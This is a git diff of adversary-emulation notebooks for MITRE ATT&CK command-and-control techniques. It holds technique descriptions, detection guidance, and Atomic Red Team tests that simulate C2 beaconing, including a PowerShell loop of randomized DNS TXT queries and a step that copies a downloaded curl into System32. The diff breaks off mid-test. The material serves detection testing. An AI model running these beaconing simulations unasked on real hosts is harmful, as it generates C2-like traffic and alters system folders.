"metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic command-and-control" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1001.001.ipynb b/playbook/tactics/command-and-control/T1001.001.ipynb index 2c842539..ca9cc990 100644 --- a/playbook/tactics/command-and-control/T1001.001.ipynb +++ b/playbook/tactics/command-and-control/T1001.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a98b066c", + "id": "743c02eb", "metadata": {}, "source": "# T1001.001 - Junk Data\nAdversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. " }, { "cell_type": "markdown", - "id": "13f237d4", + "id": "cdf16f42", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e65555d2", + "id": "782448b0", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1001.002.ipynb b/playbook/tactics/command-and-control/T1001.002.ipynb index a6155301..eb9346ff 100644 --- a/playbook/tactics/command-and-control/T1001.002.ipynb +++ b/playbook/tactics/command-and-control/T1001.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a5ae6cc4", + "id": "24751b78", "metadata": {}, "source": "# T1001.002 - Steganography\nAdversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. " }, { "cell_type": "markdown", - "id": "3072c6d4", + "id": "7655f8e0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "34382817", + "id": "d9520eba", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1001.003.ipynb b/playbook/tactics/command-and-control/T1001.003.ipynb index 7b260c13..b8027585 100644 --- a/playbook/tactics/command-and-control/T1001.003.ipynb +++ b/playbook/tactics/command-and-control/T1001.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "aa327562", + "id": "619919e0", "metadata": {}, "source": "# T1001.003 - Protocol Impersonation\nAdversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. " }, { "cell_type": "markdown", - "id": "0635c4ec", + "id": "be0e5c36", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e222ff41", + "id": "fd14b9e1", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1001.ipynb b/playbook/tactics/command-and-control/T1001.ipynb index 233f4de0..80c9b4f2 100644 --- a/playbook/tactics/command-and-control/T1001.ipynb +++ b/playbook/tactics/command-and-control/T1001.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "bf279a33", + "id": "13efef22", "metadata": {}, "source": "# T1001 - Data Obfuscation\nAdversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. " }, { "cell_type": "markdown", - "id": "7818b639", + "id": "dd3aa071", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4d8578f5", + "id": "0844e151", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "52be04f6", + "id": "a7dc8b9e", "metadata": {}, "source": "\n## Shield Active Defense\n### PCAP Collection \n Collect full network traffic for future research and analysis. \n\n PCAP Collection allows a defenders to use the data to examine an adversary\u2019s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.\n#### Opportunity\nThere is an opportunity to detect adversary activity that uses obfuscated communication.\n#### Use Case\nA defender can capture network traffic for a compromised system and look for abnormal network traffic that may signal data obfuscation.\n#### Procedures\nCollect PCAP on a decoy network to improve visibility into an adversary's network activity.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1008.ipynb b/playbook/tactics/command-and-control/T1008.ipynb index 9f79185c..f4d2d658 100644 --- a/playbook/tactics/command-and-control/T1008.ipynb +++ b/playbook/tactics/command-and-control/T1008.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "0c743c24", + "id": "0346b29d", "metadata": {}, "source": "# T1008 - Fallback Channels\nAdversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds." }, { "cell_type": "markdown", - "id": "49614ad8", + "id": "dc1e39f3", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "1a602bb3", + "id": "65665cb8", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "367c9d3e", + "id": "9deb99fb", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to manipulate the network to allow/deny certain types of traffic, to degrade network traffic, or otherwise impact an adversary's activity.\n#### Use Case\nA defender can identify and block specific adversary Command and Control (C2) traffic to see how an adversary responds, possibly exposing additional C2 information.\n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1024.ipynb b/playbook/tactics/command-and-control/T1024.ipynb deleted file mode 100644 index ff799d48..00000000 --- a/playbook/tactics/command-and-control/T1024.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "c01a57f0", - "metadata": {}, - "source": "# T1024 - Custom Cryptographic Protocol\nAdversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)" - }, - { - "cell_type": "markdown", - "id": "32bbe6ca", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "436514f3", - "metadata": {}, - "source": "## Detection\nIf malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1026.ipynb b/playbook/tactics/command-and-control/T1026.ipynb deleted file mode 100644 index fb38762b..00000000 --- a/playbook/tactics/command-and-control/T1026.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a24f3aba", - "metadata": {}, - "source": "# T1026 - Multiband Communication\n**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication." - }, - { - "cell_type": "markdown", - "id": "bbabb12e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c49914d4", - "metadata": {}, - "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1032.ipynb b/playbook/tactics/command-and-control/T1032.ipynb deleted file mode 100644 index 7603b9fd..00000000 --- a/playbook/tactics/command-and-control/T1032.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6bb3c10b", - "metadata": {}, - "source": "# T1032 - Standard Cryptographic Protocol\nAdversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files." - }, - { - "cell_type": "markdown", - "id": "30bc00d2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "b90b9cde", - "metadata": {}, - "source": "## Detection\nSSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1043.ipynb b/playbook/tactics/command-and-control/T1043.ipynb deleted file mode 100644 index 283888f3..00000000 --- a/playbook/tactics/command-and-control/T1043.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f289700f", - "metadata": {}, - "source": "# T1043 - Commonly Used Port\n**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)" - }, - { - "cell_type": "markdown", - "id": "fcd4f91d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "97263ba4", - "metadata": {}, - "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1065.ipynb b/playbook/tactics/command-and-control/T1065.ipynb deleted file mode 100644 index e9083b37..00000000 --- a/playbook/tactics/command-and-control/T1065.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ef1a0844", - "metadata": {}, - "source": "# T1065 - Uncommonly Used Port\nAdversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured." - }, - { - "cell_type": "markdown", - "id": "c743b61a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2a6cc2a9", - "metadata": {}, - "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1071.001.ipynb b/playbook/tactics/command-and-control/T1071.001.ipynb index d9c87f3b..70648944 100644 --- a/playbook/tactics/command-and-control/T1071.001.ipynb +++ b/playbook/tactics/command-and-control/T1071.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b641b2cf", + "id": "c3e2cdda", "metadata": {}, - "source": "# T1071.001 - Web Protocols\nAdversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " + "source": "# T1071.001 - Web Protocols\nAdversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " }, { "cell_type": "markdown", - "id": "156cb042", + "id": "cea75398", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f38aaff2", + "id": "f657fcb6", "metadata": {}, "source": [ "### Atomic Test #1 - Malicious User Agents - Powershell", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "43bae265", + "id": "39f24bf5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "dd357fcb", + "id": "98d4dd85", "metadata": {}, - "source": "### Atomic Test #2 - Malicious User Agents - CMD\nThis test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system \n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://curl.haxx.se/windows/dl-7.71.1/curl-7.71.1-win32-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.71.1-win32-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n\n```" + "source": "### Atomic Test #2 - Malicious User Agents - CMD\nThis test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system \n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://curl.haxx.se/windows/dl-7.71.1/curl-7.71.1-win32-mingw.zip\" -Outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\\curl-7.71.1-win32-mingw\\bin\\curl.exe\" C:\\Windows\\System32\\Curl.exe\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e1b4aa4e", + "id": "1974e991", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d65f7358", + "id": "052a2fec", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -58,14 +58,14 @@ { "cell_type": "code", "execution_count": null, - "id": "433a46d8", + "id": "8661b33f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d2aa2dbb", + "id": "13e08521", "metadata": {}, "source": [ "### Atomic Test #3 - Malicious User Agents - Nix", @@ -78,14 +78,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2f9f9157", + "id": "ad1cf768", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "3b23d446", + "id": "2f4a4610", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. " } @@ -93,13 +93,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1071.002.ipynb b/playbook/tactics/command-and-control/T1071.002.ipynb index 469fae19..21ba15a7 100644 --- a/playbook/tactics/command-and-control/T1071.002.ipynb +++ b/playbook/tactics/command-and-control/T1071.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ffe61f43", + "id": "df20b195", "metadata": {}, - "source": "# T1071.002 - File Transfer Protocols\nAdversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " + "source": "# T1071.002 - File Transfer Protocols\nAdversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " }, { "cell_type": "markdown", - "id": "e4bcba1f", + "id": "cce95158", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7502793e", + "id": "27ca2280", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1071.003.ipynb b/playbook/tactics/command-and-control/T1071.003.ipynb index 9fc6fa95..367002dc 100644 --- a/playbook/tactics/command-and-control/T1071.003.ipynb +++ b/playbook/tactics/command-and-control/T1071.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "570e746c", + "id": "9afac135", "metadata": {}, "source": "# T1071.003 - Mail Protocols\nAdversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " }, { "cell_type": "markdown", - "id": "cb449916", + "id": "54d3e96a", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "301b0c37", + "id": "f07565bc", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1071.004.ipynb b/playbook/tactics/command-and-control/T1071.004.ipynb index fbc11897..4f2316ef 100644 --- a/playbook/tactics/command-and-control/T1071.004.ipynb +++ b/playbook/tactics/command-and-control/T1071.004.ipynb @@ -2,79 +2,79 @@ "cells": [ { "cell_type": "markdown", - "id": "5237f032", + "id": "e0cc6cfc", "metadata": {}, "source": "# T1071.004 - DNS\nAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) " }, { "cell_type": "markdown", - "id": "77d9a743", + "id": "5c06e552", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "58aae01b", + "id": "395354c1", "metadata": {}, "source": [ "### Atomic Test #1 - DNS Large Query Volume", "This test simulates an infected host sending a large volume of DNS queries to a command and control server.\nThe intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nfor($i=0; $i -le 1000; $i++) { Resolve-DnsName -type \"TXT\" \"atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io\" -QuickTimeout}\n```" + "```powershell\nfor($i=0; $i -le 1000; $i++) { Resolve-DnsName -type \"TXT\" \"atomicredteam-$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.nip.io\" -QuickTimeout}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a6027639", + "id": "12c92513", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "debe1dea", + "id": "6e4291d9", "metadata": {}, "source": [ "### Atomic Test #2 - DNS Regular Beaconing", "This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.\nThis behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-Location 